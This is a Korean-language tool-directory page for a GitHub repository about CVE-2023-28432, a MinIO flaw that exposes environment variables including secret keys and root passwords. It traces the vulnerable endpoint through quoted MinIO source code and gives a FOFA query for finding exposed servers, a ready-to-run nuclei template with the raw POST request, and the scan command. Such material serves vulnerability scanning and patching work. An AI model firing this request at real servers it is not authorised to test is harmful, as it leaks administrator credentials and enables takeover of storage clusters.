Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/mr-xn/cve-2023-28432
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingCloud Security
GitHubmr-xn/cve-2023-28432

CVE-2023-28432

CVE-2023-28434 nuclei 템플릿

저장소 보기
34833년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-28432

CVE-2023-28432 nuclei 템플릿

설명

Minio는 멀티 클라우드 객체 스토리지 프레임워크입니다. RELEASE.2019-12-17T23-16-33Z부터 RELEASE.2023-03-20T20-16-18Z 이전까지의 클러스터 배포에서 MinIO는 MINIO_SECRET_KEY 및 MINIO_ROOT_PASSWORD를 포함한 모든 환경 변수를 반환하여 정보 노출이 발생합니다. 분산 배포를 사용하는 모든 사용자가 영향을 받습니다. 모든 사용자는 RELEASE.2023-03-20T20-16-18Z로 업그레이드하는 것이 좋습니다.

취약점 정보

root@kitploit:~
# https://github.com/minio/minio/blob/master/cmd/bootstrap-peer-server.go#L197

// Verify - fetches system server config.
func (client *bootstrapRESTClient) Verify(ctx context.Context, srcCfg ServerSystemConfig) (err error) {
	if newObjectLayerFn() != nil {
		return nil
	}
	respBody, err := client.callWithContext(ctx, bootstrapRESTMethodVerify, nil, nil, -1)
	if err != nil {
		return
	}
	defer xhttp.DrainBody(respBody)
	recvCfg := ServerSystemConfig{}
	if err = json.NewDecoder(respBody).Decode(&recvCfg); err != nil {
		return err
	}
	return srcCfg.Diff(recvCfg)
}

# https://github.com/minio/minio/blob/master/cmd/bootstrap-peer-server.go#L54

const (
	bootstrapRESTVersion       = "v1"
	bootstrapRESTVersionPrefix = SlashSeparator + bootstrapRESTVersion
	bootstrapRESTPrefix        = minioReservedBucketPath + "/bootstrap"
	bootstrapRESTPath          = bootstrapRESTPrefix + bootstrapRESTVersionPrefix
)

const (
	bootstrapRESTMethodHealth = "/health"
	bootstrapRESTMethodVerify = "/verify"
)

// To abstract a node over network.
type bootstrapRESTServer struct{}

// ServerSystemConfig - captures information about server configuration.
type ServerSystemConfig struct {
	MinioEndpoints EndpointServerPools
	MinioEnv       map[string]string
}


# https://github.com/minio/minio/blob/master/cmd/bootstrap-peer-server.go#L149

func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
	ctx := newContext(r, w, "VerifyHandler")

	if err := storageServerRequestValidate(r); err != nil {
		b.writeErrorResponse(w, err)
		return
	}

	cfg := getServerSystemCfg()
	logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}

// registerBootstrapRESTHandlers - register bootstrap rest router.
func registerBootstrapRESTHandlers(router *mux.Router) {
	server := &bootstrapRESTServer{}
	subrouter := router.PathPrefix(bootstrapRESTPrefix).Subrouter()

	subrouter.Methods(http.MethodPost).Path(bootstrapRESTVersionPrefix + bootstrapRESTMethodHealth).HandlerFunc(
		httpTraceHdrs(server.HealthHandler))

	subrouter.Methods(http.MethodPost).Path(bootstrapRESTVersionPrefix + bootstrapRESTMethodVerify).HandlerFunc(
		httpTraceHdrs(server.VerifyHandler))
}

# https://github.com/minio/minio/blob/master/cmd/object-api-utils.go#L210

// SlashSeparator - slash separator.
const SlashSeparator = "/"

https://github.com/minio/minio/blob/master/cmd/generic-handlers.go#L138

const (
	minioReservedBucket              = "minio"
	minioReservedBucketPath          = SlashSeparator + minioReservedBucket
	minioReservedBucketPathWithSlash = SlashSeparator + minioReservedBucket + SlashSeparator

SlashSeparator = "/"
minioReservedBucketPath = SlashSeparator + minioReservedBucket ==> /minio

bootstrapRESTPrefix        = minioReservedBucketPath + "/bootstrap" ==> /minio/bootstrap/

bootstrapRESTVersion       = "v1"
bootstrapRESTVersionPrefix = SlashSeparator + bootstrapRESTVersion ==> /v1
bootstrapRESTMethodVerify = "/verify"

subrouter.Methods(http.MethodPost).Path(bootstrapRESTVersionPrefix + bootstrapRESTMethodVerify) ==> /v1/verify/

final path:
/minio/bootstrap/v1/verify/
도구 다운로드

fofa

app="minio"

EXP

root@kitploit:~
id: CVE-2023-28432
info:
  name: Minio post policy request security bypass
  author: Mr-xn
  severity: high
  description: Minio is a Multi-Cloud Object Storage framework. In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD, resulting in information disclosure. All users of distributed deployment are impacted. All users are advised to upgrade to RELEASE.2023-03-20T20-16-18Z.
  reference:
    - https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
    - https://github.com/minio/minio/pull/16853/files
    - https://github.com/golang/vulndb/issues/1667
    - https://github.com/CVEProject/cvelist/blob/master/2023/28xxx/CVE-2023-28432.json
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-28432
    cwe-id: CWE-200
  tags: cve,cve2023,
requests:
  - raw:
      - |+
        POST /minio/bootstrap/v1/verify HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"MinioEndpoints"'
      - type: word
        part: header
        words:
          - 'Content-Type: text/plain'
      - type: status
        status:
          - 200

nuclei

nuclei -v -t /path/to/CVE-2023-28432.yaml -u http://target.com:port

참고:

  • https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
  • https://github.com/minio/minio/pull/16853/files
  • https://github.com/golang/vulndb/issues/1667
  • https://github.com/CVEProject/cvelist/blob/master/2023/28xxx/CVE-2023-28432.json